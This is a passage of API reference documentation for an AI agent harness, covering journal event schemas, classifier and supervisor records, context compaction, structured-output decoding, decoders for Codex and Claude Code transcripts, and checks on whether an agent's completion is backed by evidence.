  rewrite the host applies, and the `EngineLike.Binding` naming the route
  where the host resolves one. `scope` (the run's session, which is a module
  step's recorded scope), `frame` and `attempt` are the join keys. `attempt`
  counts the model calls of one frame and purpose from one, and is the number
  `CellRejectedInFrame` names when it refuses that call's answer. `purpose` is
  `frame` or `compaction`; a compaction call runs ahead of its frame's
  `TurnOpened`, so it is joined by `frame`, never by position. A call whose
  host answers `EngineLike.resolve` with none writes no `ModelRequested`: the
  sealed step fails on it, so no provider was sent anything.
- `DecisionSettled` is written once per classifier reading, beside
  `ClaimDemanded`, and carries the classifier's stable id, its
  `Classifier.digest`, the encoded state the transport was sent, the questions
  in their wire form, and one `DecisionAnswer` per question. `acted` says
  whether the decision changed what the run did next, and `decidedBy` is
  `jev`, `seat` or `human`: `seat` when a generation seat judged in Jev's
  place, with its model in `usage.modelId`. A `DecisionAnswer` is tagged by `kind`: `boolean`
  carries `p`; `choice` and `score` carry `value`, `probabilities`, and
  `confidence`. `confidence` is `Evaluator.Response.confidence`, the
  provider's own number, and the key is absent when the provider sent none. It
  is never the largest probability. `decisionAnswers(answers, confidence)`
  builds the record's answers from decoded `Classifier.Answer`s.

Both are emitted through the same `Observer` every other event takes, so a
durable host checkpoints them inside the step that produced them. The
controller provides `Journal` around each flow call: a flow that asks Jev
itself, such as the agent's `recall`, journals its receipts into the run that
called it. Outside a run `Journal` does nothing. A completion
judgement recorded before `DecisionSettled` existed replays with no decision:
the record is absent, never reconstructed.

Jev's other readings write these:

- `RelevanceSettled`: the human-provided items (`RelevanceKind`: `flow`,
  `skill`, `instruction`, `memory`) one reading kept and withheld, by id and
  digest, never text. `source` is `run`, `supervisor`, or `recall` for a
  recall the model called; an item is withheld only at or above
  `withholdAt`.
- `RelevanceRestored`: a withheld `flow` the run called by name.
- `SeatRouted`: the `seat`, `modelId` and prompt `variant` a run that
  `declared` no model was routed to, from the available `candidates`, with
  the `backups` it fails over to and, for a panel route, the `SeatPanel`
  (member seats with their backups, and the `merger`, which is `seat`).
  `decidedBy` is `jev`; rows written before the routing graph may say `only`
  and carry `confidence`.
- `DecisionUnjudged`: a reading nobody could judge, with `UnjudgedReason`
  (shared with `SupervisorUnjudged`), the `items` it covered, and, on both,
  the `usage` each request paid when the provider metered it before the
  reading failed. Every evaluator `usage` names its `modelId` when known.

Fields later writers add to existing events are optional, so older journals
decode unchanged: `DecisionSettled.usage`; `CompactionSettled.kept`, `marks`
(`CompactionMark` `keep`, `squash` or `remove`, with the `CompactionPin` that
overrode a removal, by segment digest), `removedTokens`, `unaligned` and
`causes` (`CompactionCause` `budget`, `outdated_context` or
`irrelevant_context`), with `summary` optional; `SupervisorSettled.monitors` (`MonitorKind` `mood`, `skill` or
`lint`) and `skillsCapped`; `DisciplineArmed.judged`,
`relevance`, `monitors` and `stance` (`careful` or `paranoid`), with
`supervisorSteer` optional; `SteeringDrained.monitor`, `suppressed`
(each with a `Suppression` reason) and `memory`; `SeatRouted.backups` and
`panel`.

Some events say where a run's time and tokens went. Every such field is
optional and absent from journals written before it; every duration and
offset is whole milliseconds on the injected `Clock`, measured by the attempt
that did the work, so a replayed frame reports the replay's own readings:

- `ModelSettled` carries the join keys of the `ModelRequested` it settles
  (`scope`, `frame`, `attempt`, `purpose`), `stages` (offsets from the moment
  the sealed step was opened to `firstEventMs`, `firstThinkingMs`,
  `firstOutputMs` and `lastOutputMs`; a stage the stream never reached is
  absent, and a retry notice is not a first event), `tries` (transport tries,
  the one that settled included) and `output` (`thinking` and `written`
  tokens: the provider's reasoning count and the rest of its output count).
  Output is a text delta or a tool-call event. No stream event is journaled
  for these: the offsets are noted as events pass and written once.
  `timing` and `servedTier` are the model package's own record of the same
  call, copied from its settle event: `ModelEvent.Timing` whole, and the tier
  that served it. Both count from the same call, so `stages.firstOutputMs`
  less `timing.firstOutputMs` is time the first output spent inside this
  process.
- `ModelFailed` is a model call that began and did not settle: it failed, or
  the run was interrupted in it. It carries the keys of the `ModelRequested`
  it ends (`scope`, `frame`, `attempt`, `purpose`, `reask`), `code` (the
  failure's code, its tag where it has none, `interrupted` for an
  interruption), `httpStatus`, `durationMillis`, and the `stages` and `tries`
  a settlement would have carried, as far as the call got. `timing` is the
  model package's wire record of the failed call, read off its error. An
  engine that records the failure and hands on its decoded copy has dropped
  it, so a host reports it through `EngineLike.FailedTimings`, a
  `Context.Reference` the controller provides around each sealed step, and
  the last one reported is what the record carries. Exhaustive matches on the
  event union must handle `model-failed`.
- `ModelRetried` carries `elapsedMs`, how long the failed try ran, and
  `httpStatus`, the status that failed it, when the boundary that retried
  reported them on its `ModelEvent.Retry`.
- `ModelRequested.reask` and `ModelSettled.reask` name the `Cell.RejectionCode`
  the attempt before this one was refused with, so a frame's second call says
  why it was made.
- `CompactionSettled` carries `scope` and `frame` (it is written ahead of its
  frame's `TurnOpened`, so position files it under the frame before),
  `durationMillis` for the whole compaction, `context` (`before` and `after`,
  the window's estimated tokens), `marksCall` (the marks reading taken at
  this boundary: `requests`, summed `usage`, `costUsd`, `costSource`,
  `latencyMs`) and `summaryCall` (the summary call: `usage`, `costUsd`,
  `costSource`, `durationMillis`, `stages`, `tries`, `output`). The summary
  call is settled here and writes no `ModelSettled`: that event is a frame's
  own answer. Marks a supervisor reading stored on an earlier frame were paid
  there, as that frame's `DecisionSettled` rows of classifier
  `compaction/marks`.
- `SupervisorSettled` carries `triggers` (every `Supervisor.triggers` name
  the reading fired, empty when none), `compact` (the context triggers it
  handed on to compact the run at its next frame) or `compactSuppressed`
  (why a context trigger it fired handed nothing on: `floor` for a context at
  or under `Compaction.judgedAbove`, `unjudged` for a host with no real
  judge), and `costUsd` with `costSource`, its `usage` priced under the
  reading model's rate card. `nudged` already says whether a nudge was queued.
- `SupervisorSettled.timing` and `DecisionSettled.timing` are the transport's
  own record of where a reading's time went on the wire
  (`Evaluator.Response.timing`), handed on whole. `Judgement.measured` keeps
  it on `Asked.timing` and `Judgement.decision` writes it.
- `SteeringDrained.compact` names the context triggers a boundary took from a
  reading. A reading's `compact` that no boundary took compacted nothing.
- `ClaimDemanded` carries `costUsd` and `costSource` for the completion check.
- `TurnClosed` carries its `frame` and `time`: `wallMs` from the moment the
  controller took the frame up to this event, split into `modelMs` (the
  frame's own model calls, re-asks included), `cellMs` (the cell's
  execution), `judgeMs` (what the loop itself waited on Jev: the run-start
  relevance reading and the completion check), `compactionMs` (the compaction
  ahead of the turn, its marks reading and summary call included) and
  `otherMs` (workspace measurements, the steering drain, recorded
  boundaries). The five parts add up to `wallMs`. A supervisor reading runs
  beside the loop and is in none of them; its latency is on
  `SupervisorSettled`.
- `CellSettled.work` says what the cell amounted to: `kind` is `rejected` (a
  reply the boundary refused, or a cell a limit cut off), `threw`,
  `comment_only` (a settled cell whose source is nothing but comments),
  `no_call` (it ran code and issued no flow call) or `calls`; `calls` counts
  the flow calls the cell issued, refused ones included, and `callMs` sums
  what they took. `CellCallSettled.durationMillis` is one call, from issue to
  settlement.
- `CellCallSettled.reason` is the `Cell.FailureKind` of a handler failure.
  Handler tags and codes stay opaque by default: even an identifier can carry
  a secret. A binding's `failureKinds` allowlists fixed public `tags` and
  `codes` by exact match. `Cell.failureKind(failure, allowed)` enforces that
  allowlist and the identifier length bound. The binding reports the result
  through the injected `Cell.Failures` service; the controller journals it.
  The cell sees only the text explicitly selected by `publicError`.

Ledger mutation markers record `WRITE CALL`, input bytes, and whether the call
settled successfully. A declaration or successful call does not prove the tree
changed. Repeated calls still name the first attempt, including failed ones.
Digest paths quote non-identifier keys in brackets, so a literal `a.b` field
stays distinct from the nested `a.b` path.

Extracted cell blocks share notebook bindings and are separated by semicolons.
Repeated top-level declarations rebind; duplicate lexical declarations in a
nested scope still fail. Compaction rejects prefixes or marks that separate a
tool exchange, and rejects unmatched calls or results before requesting a
summary or applying a historical step.

A host that keeps a spend ledger labels each charge from `EngineLike.Spend`, a
`Context.Reference` the controller provides around every sealed step, every
boundary that declares `RecordBoundary.usage` and every cell call. It holds
the `purpose` (`EngineLike.SpendPurpose`: `frame`, `compaction`, `judge`,
`marks`, `claim`, `relevance` or `reading`) and the `frame`; outside such a
call it is `undefined`. The supervisor's boundary pays for the judge's reading,
a relevance reading over recalled memory and a marks reading in one charge, so
its label also carries `readings`: each metered reading's purpose, usage and
model, read after the boundary's value is recorded. `Judgement.recorded` takes
an optional `purpose` and labels its boundary with it. The reference labels
and decides nothing: a host that never reads it charges exactly as before.

Every member's `_tag` is the kebab-case discriminant `switch` and
`Stream.filter` match on. `AgentEvent.eventType` is keyed by the camelCase
property name and holds the journal event type, the one table `CellTurn`
writes and `Transcript` reads:

| `_tag`                          | `eventType` property          | Journal event type                               |
| ------------------------------- | ----------------------------- | ------------------------------------------------ |
| `aborted`                       | `aborted`                     | `flows.harness.aborted.v1`                       |
| `cell-call-settled`             | `cellCallSettled`             | `flows.harness.cell-call-settled.v1`             |
| `cell-call-started`             | `cellCallStarted`             | `flows.harness.cell-call-started.v1`             |
| `cell-printed`                  | `cellPrinted`                 | `flows.harness.cell-printed.v1`                  |
| `cell-produced`                 | `cellProduced`                | `flows.harness.cell-produced.v1`                 |
| `cell-rejected-in-frame`        | `cellRejectedInFrame`         | `flows.harness.cell-rejected-in-frame.v1`        |
| `cell-settled`                  | `cellSettled`                 | `flows.harness.cell-settled.v1`                  |
| `checkpoint-minted`             | `checkpointMinted`            | `flows.harness.checkpoint-minted.v1`             |
| `claim-demanded`                | `claimDemanded`               | `flows.harness.claim-demanded.v1`                |
| `compaction-settled`            | `compactionSettled`           | `flows.harness.compaction-settled.v1`            |
| `decision-settled`              | `decisionSettled`             | `flows.harness.decision-settled.v1`              |
| `decision-unjudged`             | `decisionUnjudged`            | `flows.harness.decision-unjudged.v1`             |
| `discipline-armed`              | `disciplineArmed`             | `flows.harness.discipline-armed.v1`              |
| `model-delta`                   | `modelDelta`                  | `flows.harness.model-delta.v1`                   |
| `model-requested`               | `modelRequested`              | `flows.harness.model-requested.v1`               |
| `seat-failed-over`              | `seatFailedOver`              | `flows.harness.seat-failed-over.v1`              |
| `model-parked`                  | `modelParked`                 | `flows.harness.model-parked.v1`                  |
| `model-unparked`                | `modelUnparked`               | `flows.harness.model-unparked.v1`                |
| `model-retried`                 | `modelRetried`                | `flows.harness.model-retried.v1`                 |
| `model-settled`                 | `modelSettled`                | `flows.harness.model-settled.v1`                 |
| `mutation-observed`             | `mutationObserved`            | `flows.harness.mutation-observed.v1`             |
| `narrow-only-demanded`          | `narrowOnlyDemanded`          | `flows.harness.narrow-only-demanded.v1`          |
| `narrowed-demanded`             | `narrowedDemanded`            | `flows.harness.narrowed-demanded.v1`             |
| `permission-required`           | `permissionRequired`          | `flows.harness.permission-required.v1`           |
| `read-only-demand-issued`       | `readOnlyDemandIssued`        | `flows.harness.read-only-demand-issued.v1`       |
| `read-only-demanded`            | `readOnlyDemanded`            | `flows.harness.read-only-demanded.v1`            |
| `relevance-restored`            | `relevanceRestored`           | `flows.harness.relevance-restored.v1`            |
| `relevance-settled`             | `relevanceSettled`            | `flows.harness.relevance-settled.v1`             |
| `repeat-demanded`               | `repeatDemanded`              | `flows.harness.repeat-demanded.v1`               |
| `resolved`                      | `resolved`                    | `flows.harness.resolved.v1`                      |
| `seat-routed`                   | `seatRouted`                  | `flows.harness.seat-routed.v1`                   |
| `steering-drained`              | `steeringDrained`             | `flows.harness.steering-drained.v1`              |
| `sufficiency-observed`          | `sufficiencyObserved`         | `flows.harness.sufficiency-observed.v1`          |
| `suspended`                     | `suspended`                   | `flows.harness.suspended.v1`                     |
| `transition-applied`            | `transitionApplied`           | `flows.harness.transition-applied.v1`            |
| `turn-closed`                   | `turnClosed`                  | `flows.harness.turn-closed.v1`                   |
| `turn-opened`                   | `turnOpened`                  | `flows.harness.turn-opened.v1`                   |
| `unmoved-demanded`              | `unmovedDemanded`             | `flows.harness.unmoved-demanded.v1`              |
| `unresolved-demanded`           | `unresolvedDemanded`          | `flows.harness.unresolved-demanded.v1`           |
| `failed-call-demanded`          | `failedCallDemanded`          | `flows.harness.failed-call-demanded.v1`          |
| `unobserved-demanded`           | `unobservedDemanded`          | `flows.harness.unobserved-demanded.v1`           |
| `output-demanded`               | `outputDemanded`              | `flows.harness.output-demanded.v1`               |
| `vacuous-verification-observed` | `vacuousVerificationObserved` | `flows.harness.vacuous-verification-observed.v1` |

## HarnessError

`import * as HarnessError from "@smthrs/harness/HarnessError"`

The translation boundary's own failures.

```ts
export class HarnessError extends Schema.TaggedError<HarnessError>()("/harness/HarnessError", {
  code: HarnessErrorCode,
  message: Schema.String,
  cause: Schema.optional(Schema.Union([Evaluator.EvaluatorError, ModelError.ModelError, Schema.Defect()]))
}) {}
```

`HarnessErrorCode` is `assembly_failed`, `approval_unavailable`, `incompatible_journal`,
`render_failed`, `model_failed`, `engine_failed`, `read_only_cap`,
`completion_unjudged`, `completion_incomplete`, `claim_unproven`, or `suspended`. The set is closed to codes this package and `@smthrs/agent`
actually raise, and `test/Contracts.test.ts` pins every member to a
construction site; a foreign CLI adapter declares its own family beside the
adapter rather than borrowing this one. Interrupting a run raises no
`HarnessError`: `CellTurn` emits `AgentEvent.Aborted` and forwards the
interrupt cause unchanged. A failed projection is a
`Transcript.TranscriptError`, not a `HarnessError`. An `Evaluator.EvaluatorError`
cause keeps its typed fields across replay, and so does a provider's
`ModelError`, live or as `AgentAction` renders it to JSON before journaling: a
flow that catches a refused model call reads its `code` and `httpStatus`. Any other cause is a `Schema.Defect`, so
a live `Error` attached as cause still encodes to JSON for the durable exit
schema. `FlowBinding.make` passes existing `HarnessError`
values through unchanged; only permission requirements and denials are
converted to code `suspended`. A handler error the binding's `timedOut`
classifies becomes a `timeout` call result whose `value` records
`{ limitMillis }` when the error says its limit: `bash` and `test` classify a
command past its given or default limit, and `agent/await` a wait that gave
up. Other handler errors become opaque `flow_failed` call results. Either carries only the safe
`publicError` text the binding supplies.

## StructuredOutput

`import * as StructuredOutput from "@smthrs/harness/StructuredOutput"`

Turning one agent's final text into a value the declared output schema
accepts, or into a typed failure. A model may answer with bare JSON, prose
wrapped around JSON, a fenced block, or JSON of the wrong shape; downstream
nodes never receive that ambiguity. Extraction never relaxes validation: it
only decides which bytes are offered to the schema.

```ts
export const decode: <S extends Schema.Top>(
  schema: S,
  text: string,
  attempt: { readonly corrections: number; readonly limit: number }
) => Effect.Effect<S["Type"], StructuredOutputFailure, S["DecodingServices"]>
```

`decode` tries every `candidates(text)` entry in order, the complete
BOM-stripped response first and then the balanced JSON container whose
matching close ends last (`lastBalanced`), then the answer itself, untrimmed,
as a string unless it is a JSON string literal, and returns the first the
schema accepts. The last is how `ctx.done("text")` reaches a string schema.
When none does, the `StructuredOutputFailure` reports the issues of
the last candidate, with `code` one of `invalid_json`, `schema_mismatch`,
`no_candidate`, or `correction_exhausted` once the budget is spent.

The prompt half is `instructions(schema)`, which renders the declared schema
as a JSON Schema document for the run's system teaching and asks for the value
itself as the `ctx.done` argument, not a JSON string: the model is told the
shape before it answers, and the answer is still validated locally.
`digest(schema)` is the schema's canonical digest, `jsonSchema(schema)` its
JSON Schema document, `issuesDigest(failure)` the digest of one failure's
rendered issues, and `correction(failure)` the teaching appended when a
candidate failed to decode. A failure carries at most `maxIssues` (5)
`OutputIssue`s (`{ code, path, message }`), so a wide struct that mismatched
everywhere cannot spend the correction prompt restating the schema.

## ContextWindow

`import * as ContextWindow from "@smthrs/harness/ContextWindow"`

The immutable, provider-neutral context assembled for one model request. Every
value it exposes is frozen, the arrays, the segments, and the messages, parts,
and tool declarations they hold, so a runtime mutation throws in strict mode
instead of silently invalidating the digest computed once at construction.

```ts
export const make: (options: MakeOptions) => ContextWindow
export const empty: (modelId: string) => ContextWindow
export const makeSegment: (input: SegmentInput) => Segment
export const render: (self: ContextWindow) => ModelRequest.ModelRequest
```

`MakeOptions` is `{ modelId, segments?, activeTools?, replaced? }`. A
`Segment` is a stable, typed slice with a `SegmentKind`, a `SegmentZone`
(prefix or tail of the cache breakpoint), its content parts, a digest, and an
estimated token count computed once at construction. `appendTurn` appends one
settled assistant message; `prefixDigest`, `compactPrefix`, and
`compact` replace an exact compactable prefix while retaining every suffix
segment, failing with a `ContextWindowError` when the declared prefix does not
match. `compactMarked(window, prefixLength, marks, summary)` applies one
`Mark` per prefix segment, `keep`, `squash` or `remove`: the result holds the
segments before the prefix, one summary segment when any segment is squashed,
the kept segments as the same objects, then the suffix. The summary is required
exactly when a segment is squashed. `compactPrefix` is `compactMarked` with
every segment squashed. `render` projects the window into the `ModelRequest` of
[`@smthrs/model`](/docs/reference/api/model/).

`SegmentInput.declaredDigest` adds upstream identity to the digest; kind, zone
and content are always hashed. Supplying `tokens` skips token estimation.
`compact` keeps the most recent compactable segment whole and
returns the same window when it is the only one.

`appendTurn` and `compact` are dual, so each one takes the window first or
returns a function of it, and a `ContextWindow` is `Pipeable`. The direct and
the piped forms are the same call:

```ts
const request = ContextWindow.render(ContextWindow.appendTurn(window, assistant))

const piped = window.pipe(
  ContextWindow.appendTurn(assistant),
  ContextWindow.render
)
```

`ModelCatalog.contextWindowTokensFor(modelId)` of
[`@smthrs/model`](/docs/reference/api/model/) supplies the shared context-limit catalog used by
seat resolution and seat steering (128,000 tokens for unknown models). A
thinking-only steer preserves the current budget.

## DoneText

`import { DoneText } from "@smthrs/harness"` (on the root only, with no subpath)

The answer text of a reply that is still streaming. A cell reply has no prose
path, so the answer is the `output` a cell passes to `ctx.done`.

```ts
export const project: (reply: string) => Option.Option<string>
```

`project(reply)` returns the decoded prefix of the string or template literal
passed to the last `ctx.done(` in the reply's cell blocks, or `Option.none()`.
`reply` is the model's text so far; the last cell block may still be open.

- It reads only blocks `Cell.extract` reads, joined the same way, and skips a
  `ctx.done(` inside a string, a comment, a regular expression or template
  text.
- It answers `none` before the literal's opening quote arrives and for an
  argument that is not a literal.
- Escapes decode as a strict-mode string or untagged template decodes them;
  a template's raw CR LF reads as LF.
- Text stops at a template's `${`, at an escape strict code refuses, and at an
  escape the input cut short. A cut-off prefix drops a high surrogate whose
  pair has not arrived.

So every result is a prefix of the literal's value, results grow as the reply
grows, and a closed literal projects to its whole value. The projection is
display: a host replaces it with the completed output when the run settles,
and a replay folds the recorded `ModelDelta` text through the same function.

## Tokens

`import * as Tokens from "@smthrs/harness/Tokens"`

Deterministic token accounting for context windows. `Tokens.estimate`
approximates four characters per token, with code punctuation and newline
density accounting for the shorter tokens of source text; it is a
deterministic local approximation, not provider billing data.
`Tokens.count(text, estimator?)` counts one text (defaulting to `estimate`)
into a `Tokens.Count` (`{ value, estimated }`), and `Tokens.combine` sums
per-segment `Tokens.Segment` counts into one `Tokens.Accounting`, split by
cache zone.

## Transcript

`import * as Transcript from "@smthrs/harness/Transcript"`

Transcript projection from durable journal entries. The transcript grows:
what the model saw is what it said plus what the harness answered, in journal
order. `Transcript.projectResult` projects model-visible messages in canonical
journal sequence order; `Transcript.projectStateResult` projects the same
events into typed state (`ProjectedState`, with the compaction replacement
identity when one was recorded), preserving malformed-payload failures as
typed `TranscriptError`s instead of throwing. `CellEvidence` is the
schema-decoded cell evidence the rebuild consumes. `CompactionSettled.retainedMessageCount`
records the number of messages in the live retained suffix, across all retained
segments. Projection applies these boundaries in journal order, replacing only
the preceding prefix with the summary. Older events without the field replace
all messages preceding the event.

## ExternalTranscript

`import * as ExternalTranscript from "@smthrs/harness/ExternalTranscript"`

Read-only conversation entries decoded from the transcript file of an agent a
person runs beside Smithers. Two formats decode: `decodeCodex` reads the
`rollout-*.jsonl` file Codex CLI writes under `$CODEX_HOME/sessions`, and
`decodeClaude` reads the `<session>.jsonl` file Claude Code writes under
`~/.claude/projects/<project>`. Decoding is pure. It performs no I/O, reads no
clock, needs no provider and registers no importer; the host reads the file and
keeps the state.

Every `Entry` carries `origin: "external"`, `agent_kind` (`codex` or
`claude-code`), `format_version`, `session_id`, `source_id`
(`<session>:<line>`), `read_only: true`, `seq` (entry order from 0), `at` (the
record's time in epoch milliseconds, 0 when it has none), an optional
`turn_id`, `role` and one `Part`. Neither format has a schema version of its
own, so `format_version` is an adapter profile named by the CLI release:
`codex-rollout/<major.minor>` from `session_meta`, or `claude-code/<major.minor>`
from the `version` on each Claude Code record. `role` is `user` for the owner's
prompts and goals and `assistant` for everything else, by record kind;
transcript text never sets it, and who the owner and the agent participant are
is the caller's to supply.

A `Part` is a `prompt`, a `goal`, `text` (`final` on the turn's answer),
`reasoning`, `encrypted` (a placeholder for a message body Codex encrypted,
never dropped), `tool` (call id, command, `reads` labels such as `Read mvp.md`
when the call only reads, searches or lists, status, exit code, output and
duration), `edit` (call id, each `EditedFile` with its unified diff, and
`applied` or `failed`), `search`, `helper`, `compaction`, or `error` for a
failure the agent reported.

Every kind a decoder skips is named in its source. A record, event, item,
status line, attachment or content block outside those names is refused with
`unsupported_record`: a new kind stops the import where a person can see it
and is never shown as something else. The mapping tables, the recorded
captures behind them and the host caller are in
[external-transcripts.md](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/harness/docs/external-transcripts.md).

### Codex

Entries come from `event_msg` rows: `item_completed` items,
`thread_goal_updated` rows whose objective or status changed, a
`task_complete` that carries the failure its turn ended in, and
`turn_aborted`. `reasoning` is only a summary Codex chose to write.
`response_item` rows repeat the items for the model and are skipped, except
two the items leave out. An `agent_message` is a message between this agent
and one it works with: a body with ciphertext is one `encrypted` placeholder
that stands for the whole body, and a readable body is `text`. A
`custom_tool_call_output` that reports a failed code-mode script is a failed
`tool` whose command is the script its `custom_tool_call` requested, followed
by a failed `edit` when the report names the file an `apply_patch` could not
change. The request waits in `state.calls` until its output arrives.
Other custom tools retain their output as a successful `tool`, unless the
output explicitly reports a failed patch. The code-mode prefix is required
only for `exec` and `wait`, whose successful output repeats completed items.

### Claude Code

Claude Code chains its conversation records (`user`, `assistant`, `system`,
`attachment`) by `uuid`. Thirteen named bookkeeping rows (`mode`,
`permission-mode`, `queue-operation`, `last-prompt`, `ai-title`,
`file-history-snapshot`, `cost-state` and the like) are skipped, as are
`isSidechain` rows, which belong to a subagent's own transcript. The session
is the `sessionId` of the first conversation record, and `turn_id` is the
`promptId` of the latest user record.

| Record                                                                   | Part                                                                                                              |
| ------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------- |
| `user` text the owner wrote (`origin` `human` or none)                   | `prompt`; a slash command reads as `/<name> <args>` and a shell command as `!<command>`                           |
| `user` `[Request interrupted by user…]`                                  | `error` with that text                                                                                            |
| `user` `isMeta`, `isCompactSummary`, other origins, local command output | Skipped: skill bodies, caveats, summaries, task notifications, peer messages, `<local-command-stdout>`            |
| `assistant` `text`                                                       | `text`, `final` when the message's `stop_reason` is `end_turn`                                                    |
| `assistant` `thinking`                                                   | `reasoning` when it has a body; empty and `redacted_thinking` blocks are skipped                                  |
| `assistant` with `isApiErrorMessage`                                     | `error` with Claude Code's message                                                                                |
| `tool_use` `Bash`, then its `tool_result`                                | `tool` with the command, `ok` or `error`, the exit code Claude Code reports as `Exit code N`, output and duration |
| `Read`, `Grep`, `Glob`, `LS`                                             | `tool` with a `reads` label: `Read a.ts`, `Searched "q" in src`, `Listed apps`                                    |
| `Edit`, `Write`, `MultiEdit`, `NotebookEdit`                             | `edit`: Claude Code's reported hunks, or the requested change when none; `failed` when the result is an error     |
| `WebSearch`, `WebFetch`                                                  | `search` for the query or address                                                                                 |
| `Agent`, `Task`                                                          | `helper` named by `subagent_type`, with the call's description                                                    |
| any other tool                                                           | `tool` whose command is the tool's name and its input as JSON                                                     |
| `system` `compact_boundary`                                              | `compaction`; nine named status subtypes are skipped                                                              |
| `attachment` `queued_command` the owner typed while the agent worked     | `prompt`; 44 named context attachments are skipped                                                                |
| a record, status line, attachment or content block of any other kind     | Refused: `unsupported_record` naming it                                                                           |

A tool call waits in `state.calls` from its `tool_use` record until the
`tool_result` with the same id arrives, and becomes one entry at the result's
line, so two calls issued together appear in the order their results arrive.
A call whose result never arrives emits nothing. A `Write` is `added` when
Claude Code reports it created the file; a requested replacement Claude Code
did not apply has no known position, so its hunk starts at line 1. Entries
follow file order: when the owner edits and resends a prompt, Claude Code
writes the new branch after the old one and both appear. A record that yields
several entries numbers the later ones `<session>:<line>#<n>`.

### Decoding

`decodeCodex(state, chunk)` and `decodeClaude(state, chunk)` return
`Result<Decoded<State>, ExternalTranscriptError>`: the entries the chunk
completed and the `CodexState` or `ClaudeState` to pass with the next chunk.
Start from `codexStart` or `claudeStart`. Any partition of the same text
yields the same entries, and a last line without its newline waits in
`state.pending` until it completes. The state is plain JSON, held calls
included, so a host can persist it and resume tailing. Chunks are strings; a
host reading bytes decodes them with a streaming `TextDecoder` first.

`ExternalTranscriptError.code` is one of:

- `missing_version`: a Codex row comes before the `session_meta` row, or a
  Claude Code conversation record carries no `version`.
- `unsupported_version`: the release is missing (Codex) or outside
  `codexReleases` (`0.159`, `0.160`) or `claudeReleases` (`2.1`).
- `unsupported_record`: a complete, well-formed record, event, item, status
  line, attachment or content block of a kind this module does not name. The
  message names the kind.
- `malformed_record`: a complete line is not a JSON record; a record names no
  type; a conversation record has no `uuid`, session or message content; a
  message part has no text; a tool request names no call.

Each error carries the 1-based `line` the decode stopped at, and a failed
decode returns no entries from its chunk: a host that must keep the entries
before the refused line decodes one record at a time. `Fault` classifies all
four as `dependency`: the agent wrote a transcript this release cannot read.

## Compaction

`import * as Compaction from "@smthrs/harness/Compaction"`

Declarations for sealed transcript-summary steps.
`shouldCompact(accounting, { reserve?, keepRecent? }?)` returns whether the
model context crossed its reserved threshold; `judgedAbove` is the context
size, 200,000 tokens, above which a judged run's judge is consulted about
compaction, and `consultsJudge(total)` is that test; `selectPrefix(window, { keepRecent? }?)`
selects the
longest compactable prefix while preserving a whole recent suffix; `declare`
builds the sealed `CompactionStep` for one prefix and `Summarizer` without
invoking a model; `summaryRequest` builds the model request input for the
step, with `summaryInstruction` as its stable instruction; and `apply`
splices a recorded summary into a projected window, failing with
`InvalidStep` when the declaration does not match the window it is applied
to. `declare(window, prefixLength, summarizer, marks?)` takes one
`ContextWindow.Mark` per prefix segment and records them with a `marksDigest`;
without marks every segment is squashed. `summaryRequest` carries only the
squashed segments' messages and fails when nothing is squashed, and
`apply(window, step, summary?)` requires a summary exactly when a segment is
squashed. A length or digest mismatch is `InvalidStep`. `Summarizer.params` is an optional `ModelRequest.GenerationParams`.
`summaryRequest` schema-decodes supplied parameters, including JSON-round-tripped
values, and returns `InvalidStep` for invalid values or unknown parameter keys.
Defaults apply only when `params` is absent.

## Plan

`import * as Plan from "@smthrs/harness/Plan"`

Local structural plan nodes used at the harness-to-engine boundary. `Child`
is one flow invocation elaborated from a model tool call; `Batch` is the
children passed through to the engine, in source order; `ChildResult`,
`ChildProgress`, and `ChildSettled` carry outcomes back; and `SpliceEvent` is
the streaming union `EngineLike.splice` emits. Source order is retained only
for result correlation; graph dependencies are the sole sequencing signal.

## CallLedger

`import * as CallLedger from "@smthrs/harness/CallLedger"`

The call ledger: what this run has already asked, rendered every frame. Every
settled call contributes one line the harness derives on its own, ordinal,
flow, what the call was about, whether it settled ok, and a structural digest
of what came back, so a model sees what it already asked without asking
again. A line carries no payloads: it says `stdout=4096b`, never the bytes.
A call that writes also says so, names its byte count, and names an earlier
identical write when one settled. `entry` records one settled call,
`remember` folds a frame's calls into the run's `Ledger` bounded to `bound`
(30, newest last), `settled` counts through aged-out lines, and `render`
renders the ledger for the state section, only the calls after `since` when an
earlier section in the window already listed the rest. Line fields clip to `width` (120),
and a result digest names at most `members` (6) members.

## NarrowedCheck

`import * as NarrowedCheck from "@smthrs/harness/NarrowedCheck"`

The narrowing ledger: which checks this run has run, and over which tree. A
check is only evidence for the tree it ran over, and a completion whose last
check is a narrowed version of one the run already ran in full, taken after
the workspace moved, reports an unknown as proven. `check` records one
settled call as a `Check` unless its input is a payload; `narrows` decides
whether one call's terms strictly narrow another's; `find` finds the broadest
check a completing frame narrowed and did not re-run, and `demand` states the
sentence; `findOnly` and `demandOnly` cover the narrow-only shape, where no
broader reading exists at all. `remember` folds a frame's checks into the
run's `Ledger`, bounded to `retained` (32) distinct checks and `maxTerms`
(256) terms each.

Only a check the run declared can hold a completion. `Check.declared` is true
for a call the cell made with rule 7's `verification = { flow, input }`: the
flow it named and that very input object, as the realm reports it in
`Sandbox.Invocation.declared`. `find` names only a declared broader check and
`findOnly` only a declared last check, so a read or a search (a `grep` that
matched nothing exits 1, the `git diff` rule 5 asks for) never holds one
(#3994). `remember` keeps a declaration when the same call comes back
through a copy of its input.

## CellValidation

`import * as CellValidation from "@smthrs/harness/CellValidation"`

Cell validation at the boundary. `validate(cell)` parses one cell and reports
everything the parse can decide, a `Validation`: module syntax, non-erasable
TypeScript, syntax errors with their line, and the compiled text when it
parses. The controller answers a cell that does not parse inside the same
frame, at cached-prefix price, instead of ending the frame on it.
`normalize(compiled)` rewrites a cell's top-level declarations so the
persistent realm behaves like a notebook: a name declared again rebinds
instead of dying on redeclaration. Nothing here executes anything, and the
only outcome is a rejection the model is asked to fix in this frame.

## UnmovedTree

`import * as UnmovedTree from "@smthrs/harness/UnmovedTree"`

The completion with nothing behind it. `find` compares the digest of the tree
the run opened on against the digest the completing frame closed on; equal
digests mean the tree the completion describes is the tree the run was handed.
`demand` states that the tree never moved and names the two answers that end
it: make the change, or say why no change is needed. Nothing here reads the
completion's text, and "no change is needed" is a legitimate answer.

## FailedCall

`import * as FailedCall from "@smthrs/harness/FailedCall"`

The completion its own cell wrote before a call in it failed. A cell is
written whole before any call in it settles, and a failed call resolves
`{ ok: false }` rather than throwing, so a `ctx.done` after a failed request
still runs. When a completing frame settled a failed call and the cell never
reads a call envelope's `ok` or `error` (`inspects`), `find` names the
